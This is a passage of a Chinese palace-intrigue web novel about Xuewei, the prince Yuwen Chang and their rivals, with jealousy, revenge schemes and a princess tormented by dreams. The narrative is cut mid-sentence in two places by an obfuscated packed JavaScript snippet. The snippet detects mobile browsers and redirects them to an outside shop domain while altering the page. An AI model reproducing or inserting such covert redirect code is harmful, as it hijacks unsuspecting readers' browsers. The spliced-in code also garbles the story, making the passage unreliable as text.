“林将军最近很闲吗?怎么总是往本王的王府跑?”十一看着林江心里觉得膈应,就凭你的那点心思,本王怎么会看不明白呢? 小月见宇文昌突然前来,脸上的笑容迅速的隐了下去,简单行了个礼,这个人平日里很少过来,怎么今日刚好碰巧撞见了,她心里叹了口气,斜着眼看了眼林江。 林江脸上依旧挂着淡淡的笑容,看起来十分的淡定,他放下点心,站了起来看着宇文昌说道:“王爷今日怎么来望月轩了?” 他心想道:“谁不知道你和阿姐是假夫妻啊,你们二人之间也只不过是合作而已。” 十一若有所思的打量着林江,“这里是本王的王府,本王想去哪里就去哪里,还需要向林将军汇报吗?” “不敢。” “本王看你还挺敢的。”十一心里怒骂,连带着看见林江此人都觉得有些刺眼。 雪微远远瞥见他们二人似乎察觉不对劲,于是便缓缓从屋内走了出来,“王爷今日怎么有兴致来望月轩?” “我不能来吗?”十一夹枪带棒,话刚说出来,他瞬间就有点后悔,可惜天底下没有后悔药。 雪微看着十一,尴尬的笑了笑,这人今日怎么了,火气这么大,她转身对着小月说道:“小月,你好好招呼王爷,本宫和林将军先出去一段时间。” “是。”小月应声。 “你要去哪里?”十一心急脱口而出。 雪微指了指那堆包得整整齐齐堆放好的药材,说道:“我和林将军要前往城中给那些背井离乡的百姓分发药材。” 话还未说完,十一紧接着说道“本王也要去。” “你......”雪微有点吃惊,宇文昌什么时候对城中流民的事情开始关心起来了? “什么你你我我的。”十一解释道:“本王身为王室成员,所有的百姓都是本王的臣民,本王自然要对这些百姓多多关照。” 雪微点点头,强笑道:“既然王爷想去,那臣妾就不去了,王爷你和林将军二人去吧。” “不可......”二人异口同声道。 “阿姐,我和他不熟,不想和他同乘一辆马车。”林江连忙拒绝,想起与宇文昌待在一起,林江浑身鸡皮疙瘩都冒了出来。 “那就准备两辆马车。”雪微笑道。 “你不喜欢本王,本王还不喜欢你呢?”十一心里刚才还在想自己要怎么拒绝,如今林江的回答正好让十一有了拒绝的理由:“本王也不想和他待在一起,见到他就头疼。” “这二人今日到底怎么了,难道是闹矛盾了?” 雪微眼下正感到疑惑不解,小月拉着林将军说道:“王爷,王妃,既然大家争执不休,那么给城中百姓发放药材的事情就交给奴婢和林将军吧。” “可......”十一话还未说出来,雪微说:“那就这样安排吧,小月,你准备一下和小峰一起前去给城中百姓发放物资吧。” “是,奴婢告退。”小月说完后便拉着林江的手腕赶紧离开了。 二人刚离开望月轩,林江就甩开了小月的手,生气问道:“小月,你为何要把我拉走?” “刚刚分明就是那个宇文昌在挑事,明知道今日我和阿姐要前去给城中百姓发放物资,他此刻过来,不是正好想拆散我和阿姐吗?” “宇文昌的那点心思,我身为男人,怎么可能看不明白,他就是故意不想让阿姐随我出城的。”他越说越气,心里暗自发誓迟早有一天自己一定要带雪微离开这里。 小月脸上依旧挂着淡淡的笑容,心里有些微微泛酸:“她是王妃,奴婢知道林将军喜欢王妃,但是他们二人如今是夫妻,将军您好歹克制一下自己,少给王妃添麻烦。” “小月......”林江盯着小月反问道:“你是帮宇文昌还是帮我呢?为何你总是偏向宇文昌说话,难道就是因为他是王爷吗?” 小月被问得有点心虚,嘴硬道:“奴婢谁都不帮,王妃既然选择了宇文昌做她的夫君,自然有她的道理,林将军为何打抱不平?” “我以为你会理解我的。”林江看着小月眼神之中有些落寞。 “奴婢不理解,将军要是真心喜欢王妃为何不带她远走高飞,反而把她放在另一个男人的身边,天天这样看着,难道不难受吗?”小月继续说道:“你们这样纠缠下去终究只会害了王妃,更加会害了将军自己。” 林江听完这些,心里有些难受,一拳头打到墙壁上,“我知道,但是我就是克制不住自己的内心。” “我也不想看着阿姐留在宇文昌身边,但目前这是最好的方法。”他为自己的无能而感到无奈,“阿姐目前只有留在宇文昌身边才是最安全的。” 看着林江对雪微伤情的样子,小月内心感慨道自己又何尝不是这样呢?“将军,你什么时候才能够回头看看,在你背后的那个人一直都是我。” 自从遇见林江的第一眼,小月就被这个男人深深的吸引住了,他与孟云舟不同,林江的身上散发着一种男子魄力,小月也说不出来,但她就是这样让自己沉沦下去。 每次林江来望月轩找王妃的时候,小月总会刻意的凑上前去,不是端茶就是倒水,偶尔还会做几个小点心端过去。 知道林江喜欢吃雪花酥,小月不惜熬夜也要向芷兰请教雪花酥的做法,她这辈子从未做过一餐饭,没想到第一次学做饭居然还是为了一个男人。 小月摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892873|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,有的时候觉得自己真是无药可救。 她抬头看着林江的背影觉得他如此的孤单,可是自己又何尝不是这样,“等我复完仇,我会以一个崭新的身份来见你。” 另一侧,雪微对着十一没好气道:“你刚才是故意针对小峰的吧,你为什么要这么做?”这个人这段时间总是阴晴不定,雪微也不知自己到底是哪里惹怒了他,既然这么难以伺候,那就少见几次面吧。 十一假装清了清嗓子:“本王看他不爽。” “不爽?” 雪微心想:“不爽你干嘛要来望月轩?” “小峰惹你了吗?依臣妾看一直都是你在激怒小峰吧。”这个人简直就是欠揍,说话冷嘲热讽的,让人心里好不痛快。 本来今日心情大好,却被十一突然到来搅和得烟消云散,雪微无奈的摇了摇头,这段时间以来十一的脾气倒是让人越来越琢磨不透了。 “你难道没感觉到吗?” “感觉到什么?” 十一见雪微正在喝茶,于是便走到雪微身旁坐下并小声说道:“林江喜欢你。” 扑...... 一口茶水咽到嗓子口,搞得雪微咳嗽了许久,“你说什么?” “有这么吃惊吗?”十一见到雪微不断咳嗽的神情,心想:“难道她不知道?” “应该不会不知道吧,我都看出来了,她居然没有察觉出来?”他叹了口气,这个女人果真少一根筋。 “你别瞎说,小峰是我的弟弟。”雪微极力解释。 十一冷哼一声,“你把他当弟弟,他可不一定就把你当做姐姐。”他拍着胸脯保证:“我敢与你打赌,林江就是喜欢你,要不然怎么经常纠缠于你围着你转。” “再说,你们之间可没有血缘关系。” 雪微听着十一这话里有话,他说这话是什么意思,难不成他吃醋了?不会吧,他不会是喜欢上我了吧,不可能......绝不可能......一定是我多想了。 “你想多了,小峰从小和我就形影不离,我们之间的情谊不是你能够理解的,你不明白就不要乱说。”这个人真是,总是喜欢把事情复杂化。 “本王乱说?”十一情绪激动:“王妃把本王想得也太不堪了吧。” 他放下茶杯,转身便气呼呼的离开了。 “他这是生气了吗?”雪微眉头拧成一个结,十一的心胸什么时候这么小肚鸡肠了,她实在是不解。 “这个蠢女人,居然说本王乱说话,要是没了本王你被别人卖了都不知道。”十一路上边走边骂道:“真不知道她是怎么坐上七杀殿少宫主之位的。” 他一路上越想越气,怎么想都觉得不对劲。 “王爷......”子昂见到十一气呼呼的从外边回来,还以为是发生了什么大事,毕竟能够把少主惹怒的人不多,“王爷,属下一路上叫你,你怎么不理属下呢?” “是发生了什么事吗?”毕竟在他的印象之中,这段时间风平浪静并未发生什么大事。 “你叫本王了吗?”十一狐疑的看着子昂,他不知怎么走着走着就回来了。 子昂一脸疑惑的看着十一,心想:“少主这是怎么了?”他解释道:“属下跟随你一路了,你居然都没有发现属下?” 要是放在以前少主身上绝对不会发生这种事,少主这是怎么了,难道被人夺舍了? 他围着十一转了一圈又一圈,如果真的被人夺舍了,想必他应该是能够看出来的,可是眼前的这个少主却不像被夺舍之人那样的呆滞,他看起来只是比以前变得稍微变笨了一点点。 哎,子昂叹了口气,少主身上到底发生了什么?看着少主回来的方向,他似乎是从王妃的院中回来的,难道少主和王妃之间发生了什么事吗? “你为何这么看着本王?”十一见子昂用一种异样的眼神打量着自己,顿时略微觉得有些不爽,“本王身上是有什么东西吗?” 他左右看了看自己的衣服,并没有发现什么不对劲。 “奥,没什么。”子昂瞬间底下了头,少主变了,我盯着他看了这么久,他居然现在才发现,他的反应怎么变得如此迟钝? “难道王妃对他做了什么?”子昂内心思虑了许久,最后决定还是由他自己亲自去查一查,看看王妃到底在少主的身上下了什么蛊? 入夜,子昂趁大家都陷入熟睡之后便溜到了望月轩,可他不知道的是自从他踏入望月轩开始,子昂就已经被人给盯住了。 “你是谁。”一把冰冷的冷剑从身后架在子昂的脖子上,“是什么人派你来的?”在漆黑的夜间,雪微的言语显得极其冷冰冰的。 “再不说话,我就杀了你。” 子昂奋起反抗,本想跳脱,不料却被雪微牵制住手脚。“真是大意了,想不到王妃此人居然这么厉害。” “别......别......王妃,属下是王爷的侍卫。”子昂求饶道。 “宇文昌的侍卫为何跑到了本宫的卧室?”雪微冷着脸,想起今日下午宇文昌那副气急的嘴脸,难道他想吓唬我? 于是她便把子昂五花大绑的抬到了养心殿。 十一眼见子昂被雪微捆绑了起来,瞬间便明白了今晚子昂都干了些什么事,他脸色顿时难看起来。 “宇文昌,今日之事,你定要给本宫一个交代。”她把子昂扔到地上,转身便离开了。 十一看着消失已久的背影,脸色铁青。 52. 梦境 “少主......”子昂可怜兮兮的看着十一,恳求他把自己身上捆绑的绳索解开,十一跳过装作什么都没有看见的样子,关上了房门。 夜间气温温差有点寒凉,子昂被冻得瑟瑟发抖。 一把飞刀从屋内突然飞了出来,子昂身上的绳索瞬间被飞刀划断。 “少主。” 子昂自知自己今日犯了大错,跪在门口,等待听候发落,“少主,属下错了,属下不应该乱闯王妃卧室。” 今日下午本就被那个女人所鄙视,如今倒好,自己的属下夜间还擅自闯入了人家的卧室,十一这是有苦难言,刚才在雪微的面前的时候,恨不得找个地洞当场钻进去。 “你为什么要擅闯王妃的卧室,你到底想做什么?”十一想了会,实在是想不明白。 “你知道擅自闯入王妃的卧室是什么罪过吗?” “你怎么如此糊涂?”十一气不打一处来,他怎么会有如此蠢笨的下属。 “少主,属下这也是为了少主好,今日见少主从王妃那里回来以后就魂不守舍的,属下心想少主肯定是着了王妃的道,所以......所以属下就想着等晚上王妃入睡之后就去把解药给偷出来。”子昂一本正经的解释道。 “什么叫着了王妃的道?”十一听得糊里糊涂的,冷哼一声:“本王这么聪明怎么可能会着了一个女人的道?” 他指责道:“你啊,是不是近日太闲了,竟把主意打到本王的身上了?” “少主,属下这......” “什么这呀那的,赶紧给本王滚回去睡觉,记住,这是最后一次,以后没有本王的允许,你不许进入王妃的院子,听明白了吗?” “属下明白了。”子昂像个泄了气的皮球般,就连他自己也没有想到,王妃明明中了他的毒烟,怎么会像个没事人一样,难道王妃早就识破了他的诡计,所以并未吸入毒烟。 “一定是这样。”子昂心里反复解释道。 今日这张老脸可是丢大发了,十一辗转难眠,脑中全是雪微用着异样的眼光打量他的神情,“她不会以为我是个变态狂吧?” 看着雪微刚才那张脸,十一心里发狂,“子昂啊子昂,本王一世英名就毁在了你的手中。”他心里无比感慨,“你叫本王日后拿什么脸面去见她呢?” 天气转寒,淑宁的老腿反而疼痛加剧,自从白冉被沈雨菲害死之后,她昭告天下,重金广招大夫,可是招来的大夫却没有一个合乎她的心意。 “沈雨菲,本宫成为今日这份模样都是因为你。” “公主。” 宛心手里拿着一封信走了进来:“公主,今日一早,有人把这封信交到府卫的手中,嘱咐事关重大一定要交给公主。” “什么信?。”淑宁眼里有些好奇,平日里自从她瘫痪后便和京城中的这些贵女断了来往,到底是什么人还会送信给她? 淑宁接过宛心手里的信,正准备打开突然察觉到不对劲,这封信上不会被人下了毒吧?自从她被沈雨菲下毒暗害到瘫痪后,淑宁对接触的任何东西都十分的谨慎。 “宛心,你过来。”她对着宛心笑道:“你来把这封信打开。” “是,公主。” 宛心麻利的拆开信封,把这封信打开,且身体并没有任何的异常,淑宁这才放下心来。 她看了看信上写的内容,越看越气愤。 “辰弟什么时候和沈雨菲那个贱人勾搭到一起了?”她一掌拍到桌子上,似乎忘记了双腿的疼痛,瞬间站了起来。 但奈何重心不稳,硬生生的摔倒到地上。 “我的腿......” “公主,你怎么了?”宛心见状,连忙蹲下扶起淑宁。 “快......快宣太医......” 双腿的疼痛让淑宁的面色逐渐扭曲,一向很少流泪的淑宁居然也被这厮疼痛疼得泪水在眼框中打转,直到疼晕过去。 “母亲怎么了?”静宜慌慌张张的小跑了过来,看着在地上躺着的淑宁,不知所措。 她质问宛心:“刚才发生了什么事?” 宛心低头:“公主看了一封信后便气急攻心。” “信呢?” 宛心四处找了找,并未发现刚才的那封信,连带着信封一起不见了,她内心忐忑不安道:“奴婢也不知信去了哪里。” “罢了,如今也不是追责的时候,你去叫几个府卫来把母亲抬到塌上。” “是。” 自从父亲走后,整座公主府就剩下了我和母亲,静宜也不知道父亲为何离家出走,这半年多以来他从未给家里写过一封信,他和母亲之间到底发生了什么? 静宜很想前去寻找父亲,但每次提及此事母亲都会严加斥责,时间久了,连她自己都不知该怎么办,只能把寻找父亲的事情搁浅开来。 “鲁太医,母亲的病怎么样了?”静宜心里着急道。 鲁太医道:“公主是气急攻心,下官开点药,服下好好休息就好了。” “切记,这段时间不可动怒。” “只是这双腿......”他长叹了口气:“这双腿以后恢复起来怕是很困难了。” “怎么会呢?”静宜继续追问道:“母亲的双腿先前在白大夫的治疗下恢复得挺好的,这才一个多月不到怎么又严重了呢?” 她心中急切,如果让母亲再次因此事受到打击,静宜不知道这次她还能挺过来吗? “白大夫啊。”鲁太医点头道:“下官知道白大夫医术精湛,如果要是一直按照白大夫的方法,公主也许真的可以有正常行走的一天,可是如今白大夫不是已经仙去了吗?” 他继续说道:“如果郡主能够找到和白大夫医术相近的大夫应该也是可以的。” “我已经找了。”静宜失落道:“多谢鲁太医了。” “怎么办?” 母亲的双腿再次恶化,静宜左思右想,最后决定暂时不告诉淑宁此事。 “辰弟,你怎么能和沈雨菲做出这种伤风败俗的事情呢?”淑宁梦里见到宇文辰和沈雨菲二人缠绵到一起,她随手抽出一把利剑对着二人砍去。 “阿姐,你不要乱来。”宇文辰挡在沈雨菲身前,用自己的身体护着沈雨菲。 淑宁实在是没眼看了,对着二人胡乱砍到:“沈雨菲,你为何老是跟本宫过不去呢?本宫有的东西,你为何偏偏都要夺走?” “因为本宫喜欢,淑宁,本宫就是想看到你失去一切时的样子。”沈雨菲狂笑,看着张牙舞爪的淑宁,丝毫不为之所动。 “宇文辰,杀了她。”沈雨菲指着淑宁对宇文辰说:“你要是爱我那就杀了她。” “姐姐,对不起了。”宇文辰朝着淑宁一步一步的走来。 “你想干什么?”她看着宇文辰,眼里满是惶恐。“我是你阿姐,你要为了这个贱女人杀了我?” “不要......” 淑宁惊出一身大汗,“辰弟,你怎么在这里?” 那么刚才的一切都是梦境,淑宁回想起来依旧觉得细思极恐,她会心一笑:“辰弟怎么可能会杀我呢?” “阿姐,听静宜说你晕倒了,所以我下了朝就往你这里来了。”宇文辰一脸担忧,看起来确实不像说谎。 “哎,我在想什么呢?怎么能怀疑辰弟呢?那封信一定是假的,一定是为了离间我们姐弟的。”淑宁心里想了又想,总觉得哪里有些不对劲,但又想不出什么。 “阿姐......阿姐......” 宇文辰见淑宁没动静,连续喊了好几声,“阿姐,你到底怎么了?” “阿姐没事。”淑宁看着宇文辰勉强挤出一个笑容,她脸色苍白,一点血色都没有。 “辰弟,阿姐问你,你最近可有跟什么人接触?”淑宁看着宇文辰的神情试探性问道:“比如后宫妃嫔......” “难道阿姐是知道了什么?不会的,我做的如此隐蔽,阿姐整日被关在公主府,大门不出的,怎么可能对我的行踪了如指掌?一定是我多想了。” 宇文辰面带微笑:“没有。” “真的没有?”刚才看辰弟的神情分明是有一丝诧异,难不成辰弟有事情瞒着我? “真的没有。” 淑宁拉着宇文辰的手:“辰弟,如今你贵为亲王,切记一定不能留下把柄让别人给抓到,想想上次,端王在民间散播谣言之事,你可还记得?” “就是因为你太过于高调了,才会惹来是非。” “阿姐,上次之事,分明就是宇文修栽赃嫁祸给我的,我没有错。”宇文辰一脸不愤道:“阿姐你不为我着想反而指责于我,阿姐难道自己做的就是对的吗?” “辰弟......” “阿姐腿脚不便还是多注意休息吧,我先回去了,改日再来看你。”宇文辰说完转身便离开了。 “几日不见,辰弟的脾气反而见长。”淑宁最担心的一面还是来了,她最怕的事情就是辰弟沉不住气,落入旁人的陷阱。 可是她再看看自己的双腿,又唉声叹气了一番,本宫的这双腿到底什么时候才能够真正的好呢? “要是白冉在就好了......” 可惜,白冉死了...... 她想起了白冉生前好像交给她一个木盒,于是便忍着双腿带来的剧痛在屋子里四处翻找,打开木盒发现里面躺着六颗黑乎乎的药丸。 她拿出一颗药丸,仔细瞧了瞧:“这是什么?” “会不会是治疗本宫双腿的神药?” 淑宁心里仔细琢磨了许久,“不会是毒药吧?”想到此处便把手中这颗黑色的药丸包好放进瓷瓶中,然后叫来了暗卫。 “你把这颗药丸带到城中找个知名的大夫仔细检查一番,看看到底是什么成分,有没有毒?” “此事保密,切不可让任何人知道,包括母妃,明白了吗?” “属下明白。”暗卫说完便带着药丸离开了。 如今在这座王城,淑宁突然发现身边居然没有一个可信之人,“辰弟,你究竟跟沈雨菲到底在谋划什么?” 她叫来了当日值班的府卫,询问了一番信件的来由。 府卫胆战心惊道:“属下当日见到一个人,手里拿着这封信,说是叫属下一定要转交给公主。” “什么样的人,长相外貌,有什么特征?”淑宁追问道。 府卫回想片刻摇头道:“不记得了,属下不记得他到底长什么样子。”脑中此时只剩下一片模糊的身影,但耳边却时刻记得一定要把信件转交给公主。 “不记得了?”淑宁生气道:“你怎么可以不记得了呢?” 看来此事一定不简单,淑宁再次看了眼府卫,也许他被摄魂了,所以才不记得当日那个送信之人的长相。 “来人,此人玩忽职守,把他拉下去,仗责五十。” “母亲,仗责五十这样打下去,他只会丧命?”静宜求情道。 淑宁看着静宜那张与世无争的脸,温柔笑道:“静宜,你过来。” “母亲不希望你像你的父亲那般的懦弱,这个世界是强者为尊,明白了吗?”她长叹了口气,静宜是好,但就是太软弱了,和轩哥简直如出一辙。 作为她的孩子,怎么能够如此的软弱呢?这样下去只会无休止的被人骑在头上。 “去,你去盯着。” “母亲..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892874|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .”静宜双眼求助般,她从小就没见过这种血腥的场面,父亲把她保护得挺好,不让她见这种事,可是她总会长大,总有一天还是要面对。 淑宁见静宜依旧站在这里一动不动,她喊道:“宛心,把郡主拉下去,记住,让郡主数着打,少数一个或者多数一个,就再加五十。” “是。” “母亲,你怎么能这样呢?”静宜用怀疑的目光看着淑宁,眼前这个人还是平日里温柔善良的母亲吗?现在的她看上去怎么如此的恐怖? 淑宁冷笑了一声,她看着静宜被宛心强迫着拉下去的身影,内心深处宛如刀割,“静宜,母亲也不想这么做的,但一切都已经来不及了,我必须狠下心来,让你面对现实,这个世界就是这么的残忍。” “你不能一直活在想象中,你要面对现实,如果有一天,母亲不在了,你也可以好好的过完这一生。” 自从自己给林雪微烧过纸钱以后,林雪微便再也没有出现到淑宁的梦中,一晃眼已经大半年过去了,淑宁跑呀跑的,可是怎么跑都跑不出这片树林,她也不知道自己怎么会来到这里。 待自己清醒过来的时候,她就已经在这片林中跑了。 “有人吗?” 空荡荡的树林里除了她自己的声音在林中回荡,竟无一人的声音。 “怎么回事?我怎么会在这里?” 淑宁以为自己是在做梦,可是梦中的一切都是那么的真实,她对着自己的手腕咬了一口,疼......顿时一排牙印出现在手腕上。 “不是做梦,难道自己真的在这片树林打转?” 紧张伴随着恐惧的情绪瞬间上头,“我怎么会在这里?”她仔细回想着自己入睡前的种种回忆,和往常一样并无任何异常。 她再看了看自己的双腿,自己的双腿居然能够跑了?和常人一样,也没有任何异常。 这到底是怎么回事? “杀了她......杀了她......” 沈雨菲......我要杀了你...... 不要......不要...... “母亲......母亲......”淑宁瞬间被惊醒:“我这是怎么了。” 浑身酸软无力,她尝试着抬起双腿,竟然没有一丝力气,难道昨日的一切真的是做梦,可是那梦境看起来却如此真实。 她抬手,一排牙印赫然的出现在她的眼前,这牙印和梦境中的牙印一模一样。 “这难道不是梦?” 淑宁脑中一片混乱,日有所思夜有所想,近日由于辰弟与沈雨菲一事搞得她彻夜难眠,看来此事不能再继续拖下去了。 望月轩,红袖笑得打滚,想起昨日淑宁在林子里被吓得瑟瑟发抖,浑身上下都散发着惊恐的神情,她看着就笑得合不拢嘴。 “少主,淑宁公主现在怕是连现实和梦境都分不清楚了吧。” “真真假假,假假真真,她分得清什么是真什么又是假吗?”红袖不免觉得少宫主这招很高,既没有造成任何实质上的伤害,但却给人灵魂深处造成深深的一击。 沈雨菲就是淑宁的执念。 雪微易容成一个中年女子前去公主府给守门的府卫递了一封信,那封信的大致内容就是宇文辰与沈雨菲勾结在一起,二人如今早已经是地下情人的关系。 本想拿着此事气一气淑宁,让她对沈雨菲的仇恨更上一层楼,结果果真如她所料,淑宁这一气,直接把自己给气病了。 其实淑宁的双腿早就已经好了,但是她自己不知道,之所以疼痛只是雪微在她的双腿之中植入了钢针,每走一步,就会痛彻心扉。 但雪微还是给她留下了六颗黑色的药丸,每颗药丸可以让腿部疼痛的感觉消失三日,让淑宁以为吃了药丸,双腿就好了。 雪微浅浅一笑,如今所有的事情和她所料想的一样。 “有人来了,你先走吧。” “是。”红袖转身消失在屋内。 “这么晚了会是谁来了?”雪微站起身正准备出去看看,谁知来人竟然直接出现在她的屋子里。 “师父,你怎么来了?”雪微想不到师父居然会在这个时候出山,到底是发生了什么事,师父前来京城事先并没有任何人告诉她。 “跪下。” 雪微跪地。 “你可知错?” “知错?”雪微心里一阵疑问,她问道:“弟子何错之有?” “我们七杀殿的门规是断情绝爱,对男人觉不能有一丝情爱。”冷禅衣疾言厉色。 “师父,弟子并没有爱上任何人。” 七杀殿门规要是爱上男人便会被逐出七杀殿,雪微心里自然是十分清楚的,可是师父怎么觉得她会爱上宇文昌呢?难不成是有人在背地里挑拨离间? “那你为何一而再再而三的救下宇文昌?” 雪微解释道:“弟子之所以救他只是想利用他为弟子复仇而已,并不是爱他。” “弟子如今身上身怀血海深仇,所思所想皆是如何杀了宇文渊,师父放心,弟子绝不可能爱上宇文家的任何人。” “你明白就好,为师这么做也是为你好。”冷禅衣继续说道:“一个杀手,一旦有了情感纠纷,那么她就有了弱点,复仇的道路艰险无比,你的仇人可不是任人宰割的兔子,他们是吃人的财狼。” “弟子明白。” “你明白了就好。” “记住,如果你一旦发现自己爱上他,那么你就要立刻杀了他,男人都是薄情寡义的物种,你可不能犯糊涂。”冷禅衣嘱咐道:“为师当年就是栽倒在男人手中,你切不可重蹈为师的旧路。” “弟子警尊师父教诲。” 53. 圈套 昨日师父突然前来,雪微心里觉得很是疑惑,师父什么时候出山了,怎么没有人通知她一声呢?这样她也好提前做好准备? 再就是师父怎么知道她救宇文昌一事?难道她的身边有师父安插进来的人? 她左思右想,想了一夜都没有想出任何头绪,她救宇文昌的时候连红袖都不知情,这个人又会是谁呢? 一个月以前,宇文昌受伤被困,他催动身体里的噬魂蛊,雪微的银镯顿时受到了感应,她赶到之时,正好看见宇文昌与几个黑衣人周旋,看那几个黑衣人的武功架势和冥狱中人的武功路数很相似。 雪微飞身过去,瞬间救走了宇文昌。 “你做了什么,冥狱中人为什么抓你?”雪微心里感到好奇,好奇宇文昌怎么会和冥狱中人有牵扯? 一旦和冥狱之人有了牵扯,这辈子想摆脱他们几乎不太可能。 “冥狱可不比七杀殿,那里面的人可都是杀人不眨眼的魔头。”雪微看着沉默许久的宇文昌冷冰冰的说道。 “杀人不眨眼?”宇文昌笑了笑,脸上沾染的血迹早已经风干,“我们做杀手的什么时候杀人眨眼了?” 他一脸嘲讽:“如果有选择,谁又愿意成为杀人不眨眼的怪物呢?” “这个世界就是人吃人,人不仅吃人还吃妖兽。” 答非所问,雪微白了宇文昌一眼,“既然你不愿意说,那我也就不强人所难了。” 她对着宇文昌又说道:“日后冥狱之人再次追杀你,你可别在找我救你了,我可不想和冥狱中人扯上任何关系。” 这次救宇文昌的事情雪微确信从头到尾就只有她和宇文昌二人知道,可是师父又是如何得知的呢?难道师父和冥狱中人有牵扯? 雪微摇头,“这应该不可能,师父怎么可能和冥狱中人有牵扯呢?一定是我想多了,也许是宇文昌那边一不小心透露出去了呢?这也说不定不是吗?” 小月这段时间忙得如火如茶,吴奎欠了逍遥楼两千两银子利滚利滚到了五千两,这五千两银子说白了还不是靠着孟云舟帮吴奎还了,可是银子还了虽然还了,但此事却并不像表面看上去的那么简单。 吴奎是个赌徒。 他死乞白赖的赖上了孟云舟,见孟云舟给他还钱还得如此爽快,吴奎灵机一动拉着孟云舟来了一把大的。 这一赌直接把孟云舟在京城中的福满楼给抵押了出去。 孟云舟那个心痛啊,指责自己不应该帮吴奎填补这么大的窟窿的,这下倒好,京城中的产业大部分都被他输了个精光。 孟云舟想到自己回到安阳无颜面见老母,于是便找上吴奎要他偿还部分产业,谁知吴奎翻脸不认人,“什么产业,你家的那些产业可都是靠本公子才能够栩栩生辉,发扬光大。” “要是没有本公子,京城之中谁人认识你呢?” 孟云舟没有办法,拿起匕首准备拔刀相向,威胁吴奎要他偿还自己的损失,但吴奎也不是好惹的,直接派了两名武夫把孟云舟捆绑了起来,对着孟云舟就是一顿拳打脚踢的。 “赶紧滚,滚出京城回到你的安阳郡,此生别再出现在本公子的面前,要不然,你这条小命可就交代在这里了。” 吴奎吩咐两名武夫把孟云舟丢出去。 “老天爷,想不到这偌大的京城如今却没有我的容身之地。”孟云舟求告无门走投无路之下,小月突然从孟云舟身后出现并喊住了正准备跳河的孟云舟。 “公子,生命如此宝贵何必寻死腻活的呢?”小月看着孟云舟往下跳的样子,心里觉得畅快,“让你这么就死了,真是便宜你了。” “只要你活着,就不怕将来没有再崛起的一天。” “对,姑娘说得对,只要我活着,就一定会有崛起的一天,我一定要把京城的产业再次夺回来。”孟云舟转身便看着小月用着温柔的眼神看着他。 “华儿......” “你是华儿?”孟云舟走上前去,母亲不是说过华儿已经死了吗?死在了回漠北的路上,怎么会出现在这里? 孟云舟一阵恍惚,眼前这个姑娘看起来似乎不认识自己似的,也许她只是和华儿长得相像而已,并不是华儿。 “花儿......什么花......”小月装傻,“公子刚才在说什么花?”她左右回头看了又看,刚好看到了一束芙蓉花,花开得正艳。 “公子刚才是在看这束芙蓉花吗?”小月用着甜美的声音笑着问道:“这花可真好看。” 孟云舟看呆了,心想:“此女子绝不是华儿,她的声音甜美动听而华儿的声音却令人烦躁不安。” “她的左眼角处有颗痣,华儿的脸上并没有任何的胎记,与华儿相比,眼前的这位姑娘显得温柔贤惠,极其柔美。” “姑娘,在下叫孟云舟。”孟云舟连忙走上前去,“请问姑娘叫什么名字,来日若有机会,请让在下回报姑娘救命之恩。” 小月灵机一动笑道:“我叫潇潇,不过救命之恩就不用还了,我并没有救你,是你自己救了你自己。”小月说完淡淡一笑便转身离开了。 “潇潇......”孟云舟感叹:“多么动听的名字啊。” 他愣了会,眼见小月走远,便快速的跟了上去:“潇潇姑娘......潇潇姑娘......既然你救了在下,那就救人救到底吧。” 小月心里窃喜,从京城回到安阳骑马至少也得三日左右,如今孟云舟身上连一分银钱都没有,又怎么回到安阳郡呢?她与孟云舟相处已久,对孟云舟简直可以说是了如指掌。 小月装作一副毫不知情的模样问道:“公子想要我怎么做?” 孟云舟先是对着小月抱拳鞠了一躬,显得彬彬有礼的模样:“姑娘可否借我一些银钱。” 小月上下打量着孟云舟,既然要装那就装得像一点,她眼见孟云舟身上穿的衣服可是上好的锦缎,虽然上面有着丝丝血迹但整体看来不像是一副缺钱的样子。 “公子很缺钱吗?”小月带着一丝疑惑继续问道:“我看公子这身装扮到像是大户人家的少爷,不像是一副缺钱的模样。” “公子不会是骗小女子玩的吧。” “不是......不是......”孟云舟连忙解释道:“在下绝不会欺骗姑娘。” 他叹了口气,无奈的摇了摇头:“实不相瞒,在下此次前来京城被好友骗光了钱财,迫不得已绝望之下才想着轻生。” “但好在姑娘即时喊住了在下,在下这才幸免于难,此次多谢姑娘了,等在下回到家乡一定会把借姑娘的银钱和利息一并还给姑娘。” 他眼底泛着光,小月知道孟云舟看她的眼神明显的就是对她很感兴趣。 “他是在试探她。”这点小伎俩小月心里早就明白了,当年孟云舟就是这样一步一步的试探自己的,直到突破了她的底线。 “孟云舟,这次你还想故技重施吗?可惜我已经变了。”小月心里想了又想,既然孟云舟有这个心思,那她总不好意思拒绝吧。 小月假装思索片刻,笑道:“既然公子有难,那我就再帮帮你吧。” 她带着孟云舟来到了锦绣坊,一脸难为情道:“其实我......” 孟云舟看了眼锦绣坊,心里大致也明白了,原来她是锦绣坊的姑娘啊,上次醉酒的时候孟云舟还以为自己看错人了,没想到他把潇潇姑娘当成了华儿。 “没关系,女子在这个世上想要过得好点本就艰难,只是让我没有想到的是原来潇潇姑娘居然是锦绣坊的花魁。” 孟云舟心里十分得意,还以为她是什么大户人家的小姐,没想到到头来居然只不过是个花楼的姑娘,这样反而简单了许多。 “公子真的不介意?”小月盯着孟云舟看了许久,看来他怕是真的喜欢上了潇潇姑娘了。 